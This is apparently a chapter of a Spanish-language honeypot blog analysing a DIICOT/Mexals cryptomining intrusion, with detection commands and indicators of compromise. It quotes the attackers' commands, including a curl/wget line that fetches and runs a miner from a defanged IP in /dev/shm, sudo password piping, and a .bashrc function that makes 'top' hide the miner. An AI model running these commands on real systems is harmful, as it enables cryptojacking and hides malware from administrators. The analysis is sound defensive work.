ES EN
Índice

DIICOT · Capítulo 23

El comando que miente

Dejé una contraseña puesta en un cebo y, un domingo, entraron por ella tres veces. Neutralicé lo que traían; lo que no vi hasta después fue lo que dejaron plantado — una línea en el .bashrc que hace que «top» mienta y esconda justo al proceso que se está comiendo la máquina. Un rootkit sin rootkit. Y al poner dos discos congelados uno al lado del otro apareció el detalle que lo cambia todo: la misma línea, con un número distinto.

Casi todo lo que llama a la puerta de un cebo es una máquina que escanea, prueba cuatro contraseñas y se va. Esto fue distinto — y no por cómo entró, sino por lo que dejó puesto.

Un domingo de septiembre entraron tres veces. La primera se fue sin clavar una uña; la última dejó la máquina sembrada. Y lo interesante no es ninguna de las tres por separado: es lo que se ve al ponerlas en fila.

Hay una cosa, además, que solo se ve porque congelé el disco después de cada visita — una foto del sistema de ficheros tal y como quedó. Tres fotos. Sin ellas, el hallazgo del final de este capítulo me habría pasado por delante sin verlo.

01Tres visitas, y un escalón cada vez

Lo primero que salta al comparar los tres discos es dónde está la frontera:

las tres visitas, comparadas en disco
# el .bashrc de fábrica de esta máquina pesa 607 bytes
visita 1   primera hora de la tarde    .bashrc 607 B   sin cron   sin preload
visita 2   por la noche                .bashrc 774 B   cron_d_9499   ld.so.preload
visita 3   hora y media más tarde      .bashrc 774 B   cron_d_4836   ld.so.preload

La primera entró, midió la máquina, hizo lo suyo y se marchó sin dejar nada: el fichero de configuración de la shell del administrador sigue pesando lo que pesaba de fábrica, no hay tareas programadas nuevas, no hay palanca de arranque. Si el día se hubiera quedado ahí, yo tendría una muestra y poco más que contar.

La segunda fue la que se quedó: montó cinco vías de arraigo a la vez, el backdoor incluido. Y la tercera volvió hora y media después — desde la misma dirección que la segunda — y las reaplicó una por una, encima de las que ya estaban.

Un bicho que vuelve a pasar la fregonaReaplicar lo que ya está puesto parece tontería, y no lo es: apunta a que el kit no comprueba si ya estuvo aquí. Entra, ejecuta su lista entera y se va. Lo que para mí es «volvió a por lo mismo», para él es la primera vez, cada vez. Es la clase de detalle que distingue una lista que se ejecuta de alguien leyendo la pantalla.

02Cómo mide la casa antes de instalarse

Todo bicho, nada más pisar una máquina, la mide: quiere saber qué CPU tiene y cuántos núcleos, porque de eso depende cuánto puede minar. Éste empieza por una prueba que me gustó encontrar:

la sonda de capacidad
printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter

Escribe un fichero, lo hace ejecutable, lo ejecuta, comprueba que la salida es la que esperaba y lo borra. El fichero es tonto — dos líneas. Lo que tiene enjundia es para qué sirve: es un test de si en esta carpeta se puede escribir y, sobre todo, ejecutar. Muchos servidores bien montados marcan sus directorios temporales como «aquí no se ejecuta nada», y el bicho lo comprueba antes de perder el tiempo bajando un binario que no va a poder lanzar.

Una aclaración, porque yo mismo me liéEl fichero que escribe se llama filter y es inofensivo: dos líneas y un echo. Dentro no hay nada que analizar. Lo que tiene valor es el envoltorio — la comprobación que lo rodea. Fichero aburrido, envoltorio interesante; durante un tiempo estuve mirando el sitio equivocado.

Y justo después, el detalle que retrata a quien hay detrás:

cómo cuenta los núcleos
echo '<contraseña>' | sudo -S sh -c 'nproc || /usr/bin/nproc || busybox nproc || grep -c ^processor /proc/cpuinfo'

Léelo de izquierda a derecha: prueba nproc; si no está, lo intenta con la ruta completa; si tampoco, con busybox; y si nada de eso existe, cuenta a mano las líneas de un fichero del sistema. Cuatro caminos para averiguar un solo número. Y todo ello pasándole la contraseña a sudo por una tubería, para ganar permisos de administrador sin que nadie teclee nada.

Cada orden que lanza va envuelta así. Nadie escribe eso a mano tres veces en un día.

La cascada dice a dónde apunta el kitbusybox es un programa que hace de navaja suiza en sistemas recortados — routers, cámaras, grabadores de vídeo — donde no están las herramientas normales de Linux. Contemplar ese caso no es relleno: significa que el kit no apunta solo a servidores, cuenta con caer en cacharros. Es la misma idea que cuando pregunta por la tarjeta gráfica: quiere saber con qué va a minar antes de elegir qué baja.

El resto del reconocimiento es corto y va al grano — qué sistema es, cuántos núcleos tiene, cuánto lleva encendido, si hay gráfica y de qué arquitectura es la CPU:

el reconocimiento
uname -s -v -n -m              # sistema, versión, nombre de máquina y arquitectura
nproc                          # núcleos — de esto depende lo que puede minar
cat /proc/uptime               # cuánto lleva encendida
grep -i vga ; grep -i nvidia   # ¿hay tarjeta gráfica? tienen rama de GPU
uname -m                       # la arquitectura, a solas: la necesita para la descarga

Ese bloque no siempre viene tan corto. En su versión larga añade una pregunta que no tiene nada que ver con minar: se lleva la salida de last, que es la lista de quién se ha estado conectando a esta máquina. No vienen solo a por los núcleos — de paso apuntan quién entra y quién sale.

03La descarga

Con la máquina medida, baja la carga. Ésta es la orden entera, y merece leerse completa:

la descarga del minero
cd /dev/shm && ( curl -Lko .16 --retry 3 --retry-delay 3 --retry-connrefused \
      hxxp://5.189.149[.]171/f/brute/m/.16_$(uname -m) \
   || wget --tries=3 --no-check-certificate -O .16 hxxp://5.189.149[.]171/f/brute/m/.16_$(uname -m) )
chmod +x .16 ; ./.16

Tres cosas caracterizan esta línea, y las tres son decisiones conscientes.

No usa el disco: usa /dev/shm, que es una carpeta que en realidad vive en la memoria RAM. Lo que se escribe ahí desaparece al apagar la máquina y deja mucho menos rastro para quien investigue después.

Lleva curl y, si falla, wget — las dos herramientas habituales para descargar desde la línea de comandos. Cinturón y tirantes, el mismo patrón de la cascada de antes.

Y la arquitectura de la CPU no va escrita: se la pregunta a la máquina con $(uname -m) y pega la respuesta al final de la dirección. El servidor le devuelve entonces el binario compilado para esa CPU concreta. Un solo comando que sirve para un servidor x86 y para un router ARM.

El fichero se llama .16. El punto delante lo hace invisible a un listado normal, y el nombre — un número de dos cifras — es tan anodino que la vista resbala. Ese nombre va a volver dentro de un momento, y ahí está la gracia del capítulo.

La ruta del servidor hablaFíjate en la dirección: /f/brute/m/. Está estructurada — una carpeta por campaña, otra por tipo de carga y la arquitectura al final. Eso sugiere que en ese servidor hay más campañas y más cargas que ésta. El nombre de la primera carpeta acabará siendo importante, pero eso es de más adelante.
ESPÉCIMEN 008 · ELF

DIICOT / Mexals · minero de Monero

◈ VIVO · NO EJECUTAR
Tipo
ELF 64-bit x86-64 · estático · stripped
Tamaño
3.373.344 bytes
Empaquetado
no
Se rebautiza
16
Función
minero de CPU + instalador de su propia persistencia
Config
cifrada (XOR de un byte)
SHA-256
a151d3f4f2422531f30a843ffb35479596c86722bb103bdf8591105687f9b125

La familia es DIICOT — también llamada Mexals —, un viejo conocido del cryptojacking documentado desde 2021 por Bitdefender, Akamai, Cado, Darktrace y Wiz. Qué es DIICOT no lo descubro yo aquí: está contado y bien contado. Lo que traigo es lo que se ve al mirar estos tres discos.

Y en una de las visitas posteriores no bajaron solo éste: bajaron también un segundo minero, de GPU, soltado con el nombre init. Es la respuesta a la pregunta por la tarjeta gráfica del apartado anterior — sí tenían rama de GPU y la trajeron consigo. Es ethminer, un minero de código abierto perfectamente legítimo — como lo es XMRig —, así que ojo con catalogarlo: lo que señala a estos no es el programa, es el nombre con el que lo sueltan. Y no llegó a correr: el neutralizador lo cazó antes de que arrancara, así que a qué cartera cobraba ése me quedé sin saberlo.

Quién paró esto — y quién noEs tentador apuntarle el tanto al cortafuegos de salida, y sería mentira. Sus reglas actúan sobre el establecimiento de cada conexión nueva, no sobre los datos en vuelo: son un limitador de ritmo, no un cortador. Las descargas que pasaron, pasaron enteras. Quien impidió que el minero llegara a minar fue el neutralizador — matar el proceso y vaciar el fichero —, no el firewall. Contarlo al revés sería quedar bien a costa de la verdad.

04El comando que miente

Aquí está el remate, y apareció revisando el disco a posteriori. En la segunda visita, el /root/.bashrc — el fichero que configura la shell del administrador — había pasado de 607 a 774 bytes. Una sola línea añadida al final:

la línea que añadieron a /root/.bashrc
top() { trap 'tput cnorm' INT; tput civis; { script -q -c "/usr/bin/top" /dev/null \
        | sed -e '/16/d' -e '/libbase\.sh/d' -e '/7704/d'; } || /usr/bin/top; tput cnorm; }

Léela despacio, porque es una pequeña obra.

En Linux puedes redefinir un comando: escribir una función que se llame igual que un programa que ya existe. A partir de ese momento, cuando alguien teclea ese nombre no se ejecuta el programa de siempre — se ejecuta tu función. Es una característica normal de la shell, pensada para atajos cómodos. Aquí la usan para otra cosa.

El comando que han redefinido es top: el que todo administrador teclea cuando nota la máquina lenta, para ver qué se está comiendo la CPU. Y su versión falsa hace tres cosas — lanza el top de verdad, pasa su salida por un filtro, y disimula.

El filtro es lo que importa. sed -e '/16/d' significa, literalmente, «borra toda línea que contenga 16». Y 16 —te dije que ese nombre volvería— es el nombre con el que el minero se rebautiza al arrancar. Traducido:

El administrador abre top para ver qué le está comiendo la máquina, y justo el proceso que se la come es el único que no aparece.

El resto de la línea es orfebrería para que no se note. El script -q -c engaña a top haciéndole creer que hay una pantalla delante, porque si detecta que su salida va a una tubería se rompe y no pinta nada. Los tput civis y cnorm ocultan y restauran el cursor — también si pulsas Ctrl+C, gracias al trap — para que se vea idéntico al auténtico. Y si algo falla, el || /usr/bin/top del final ejecuta el de verdad, para no levantar sospechas ni con un error.

Un rootkit sin rootkitLo elegante — y lo inquietante — es que esto hace lo mismo que un rootkit (esconder un proceso de quien lo busca) sin ser uno: no hay biblioteca inyectada, no hay binario que un antivirus pueda oler. Es texto en un fichero de configuración que existe en cualquier Linux. Más barato de poner y mucho más difícil de encontrar con herramientas de malware — pero trivial de cazar si sabes mirar, porque top no debería ser una función.

05Cinco vías para volver

El top falso es para esconderse. Para volver, la misma visita montó cinco cosas más, y las montó todas a la vez:

  • un temporizador de systemd con nombre inocente, system-helper, que se dispara solo;
  • dos tareas programadas en /etc/cron.d/ — una con nombre fijo y otra con un número al azar;
  • un /etc/ld.so.preload, que es la palanca para colar una biblioteca dentro de todos los procesos nuevos del sistema;
  • el backdoor del .bashrc de arriba;
  • y el .profile retocado, para disparar también al iniciar sesión.

En el disco casi todas aparecen a cero bytes — las vació la contención — y al .profile le dejó el relleno en blanco. Del contenido de la mayoría me quedé sin nada; del nombre y la ubicación, sí. La del .bashrc es la excepción: sobrevivió entera.

Y del .profile sé lo que ponía aunque esté en blanco, porque los números encajan: el fichero pasó de 132 a 147 bytes, y los quince que le añadieron quedaron a cero. La línea que el minero le escribe ahí viaja dentro del propio binario y mide exactamente esos quince caracteressource .bashrc. No hace falta el fichero para saber qué decía.

Pero cuidado con leer ese cero como si no hubiera pasado nada, porque el registro del núcleo dice otra cosa:

lo que anotó el núcleo sobre el temporizador
type=SERVICE_START  unit=system-helper  comm="systemd"  res=success
comm="system-helper-r"  ppid=1          # lo lanzó el propio sistema, no una sesión

El temporizador se habilitó, arrancó y ejecutó su script. Ese ppid=1 es la firma de que quien lo puso en marcha fue el sistema por su cuenta, ya sin nadie conectado.

Y aquí está el detalle que más me gusta de todo el caso, porque resuelve el hueco sin necesidad de tener el fichero: systemd no arranca una unidad vacía. Si en el disco congelado el fichero está a cero pero el registro dice que el servicio arrancó bien, entonces tenía contenido cuando arrancó — el cero es posterior. No sé qué ponía dentro, pero sé que ponía algo y que funcionó.

Lo que sí se quedó en intento — y conviene no mezclarloEl temporizador funcionó; el rootkit de verdad, no. Ese /etc/ld.so.preload es la palanca del otro tipo de ocultación, la que inyecta una biblioteca en todos los procesos nuevos y puede esconder lo que quiera. Pero ahí el fichero acabó vacío y la biblioteca nunca llegó a escribirse: no ocultó nada, en ninguna de las visitas. Son dos cosas distintas y merecen contarse por separado — el arraigo por systemd llegó a correr, el rootkit de biblioteca se quedó en la puerta. El que sí funcionó para esconderse fue el tercero: la línea de bash, que no necesita biblioteca ninguna.

Los dos ficheros que sobrevivieron llevan además la misma marca de tiempo, al segundo: las cinco vías no se van montando poco a poco, se plantan de una tacada.

Ponlo en contexto: por la tarde se fueron sin plantar nada, y unas horas después la máquina tenía cinco vías de arraigo y un comando que miente. Eso no es un kit que se dispara una vez y se olvida.

06El número que no cuadra

Vuelve a la línea del .bashrc y fíjate en lo que borra el filtro. Son tres cosas:

los tres patrones que esconde
sed -e '/16/d'            # el nombre del minero — cuadra
    -e '/libbase\.sh/d'   # un fichero que en mi máquina no existe
    -e '/7704/d'          # ¿un número suelto? ¿de dónde sale?

El primero cuadra. El segundo es un fichero que busqué por todo el disco y no aparece. Y el tercero tiene pinta de ser el número de un proceso — lo que en Linux se llama un PID, el identificador que el sistema le asigna a cada programa en marcha. Pero los PID los reparte cada máquina sobre la marcha: no se saben de antemano.

Mi primera teoría fue que se les había colado la plantilla de otra víctima — que ese 7704 era el número de un proceso en otra máquina y lo habían copiado sin darse cuenta. Suena bien, apunta a chapuza y da buen titular.

Estaba equivocado. Y lo descubrí porque tenía un disco más.

Lo primero: ese número es de esta máquina. La auditoría del núcleo lo confirma — durante esa visita, el proceso 7704 estuvo vivo aquí dentro, lanzando sus propios hijos. Es el número del bicho, en esa visita concreta.

Y lo segundo es lo que cierra el asunto. La tercera visita volvió y reinstaló el mismo backdoor. Puestos uno al lado del otro:

Las dos últimas líneas de /root/.bashrc en los discos congelados de dos visitas distintas: el backdoor es idéntico salvo por el número, 7704 en una y 2845 en la otra
El mismo backdoor, dos instalaciones. La última línea del .bashrc en el disco congelado de cada visita. Son la misma frase, carácter por carácter: la redefinición de top, el filtro que borra 16 y libbase.sh, y el remate que restaura el cursor. Lo único que cambia es el número marcado en rojo — 7704 en una visita, 2845 en la otra.

La misma línea, letra por letra, con un número distinto. Los dos nombres — 16 y libbase.sh — son constantes de fábrica. El número es lo único que cambia de una instalación a la siguiente, y coincide con el proceso que la está escribiendo.

Y esto es mejor noticia que lo que yo creíaMi teoría del descuido era un indicio flojo y, además, falsa. Lo que hay es más fuerte: si la línea sale de una plantilla, entonces está igual en todas las máquinas donde entra este kit, letra por letra, salvo el número del medio. Eso convierte un accidente en una firma. No hace falta saber qué número tiene tu máquina: basta con buscar la forma.

Así que si administras servidores, esto es lo que hay que buscar, y cuesta un segundo:

cómo se caza
declare -f top crontab kill        # si devuelven código, ahí lo tienes
grep -nE '^(top|crontab|kill)\(\)' ~/.bashrc /root/.bashrc /etc/profile.d/*
grep -rl 'libbase\.sh' /etc /usr/local /root ~

Pregunto por tres comandos y no por uno porque top es el único que encontré instalado aquí — los otros dos aparecen preparados dentro del binario, listos para escribirse, y los abro en el capítulo siguiente.

Lo que no sé todavía es quién escribe ese número. Porque si cambia en cada instalación y coincide con un proceso que estaba vivo, algo lo está averiguando y pegándolo ahí sobre la marcha, en cuestión de segundos. La respuesta no está en el disco: está dentro del minero, y para sacarla hay que abrirlo.

07Indicadores (IOCs)

Los de esta captura. Los de dentro del binario — a quién le paga y quién rellena ese hueco — van en el capítulo siguiente.

TipoValor
IPs de origen92.118.39.77 (primera visita) · 62.171.133.1 (segunda y tercera — la misma, reincidente)
Segunda cargaethminer soltado con el nombre init — software legítimo: lo que señala es el nombre del despliegue, no el programa
Servidor de repartohxxp://5.189.149[.]171/f/brute/m/.16_<arch> — ruta estructurada: campaña / tipo / arquitectura
Backdoor de shell — la firmauna función top() en .bashrc que pasa top por un sed borrando 16, libbase.sh y un número variable.
⚠️ Ese número no se repite entre víctimas: no lo busques a él, busca la forma de la línea.
Detección baratadeclare -f top crontab kill · grep -nE '^(top|crontab|kill)\(\)' ~/.bashrc
Nombre de proceso / fichero16 · /dev/shm/.16 · /root/.16
Persistenciasystem-helper (temporizador de systemd) · /etc/cron.d/cron_d_<n> · /etc/ld.so.preload · /root/.profile
Componente de enganchelibbase.sh — referenciado por el backdoor; no llegó a escribirse aquí
Sonda de capacidadprintf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter
Reconocimientouname -s -v -n -m · nproc · cat /proc/uptime · grep -i vga / nvidia · cascada de cuatro alternativas hasta busybox
Elevación de privilegiosecho '<pass>' | sudo -S sh -c '…' — credencial por tubería en cada orden
SHA-256 (minero)a151d3f4f2422531f30a843ffb35479596c86722bb103bdf8591105687f9b125

El que más aguanta no es ningún hash — esos cambian a cada recompilación. Es la forma del backdoor: un top que es una función en vez de un programa. Un gesto tan anómalo que se caza con una sola orden, y que sobrevive a todas las recompilaciones que quieran hacer.

Continuará — me llevé la muestra del minero. Dentro está la respuesta a quién rellena ese hueco, y de paso a quién le paga: una cartera escondida detrás de un cifrado que da risa. Lo abro con Ghidra en el Capítulo 24. 🍯

Comentarios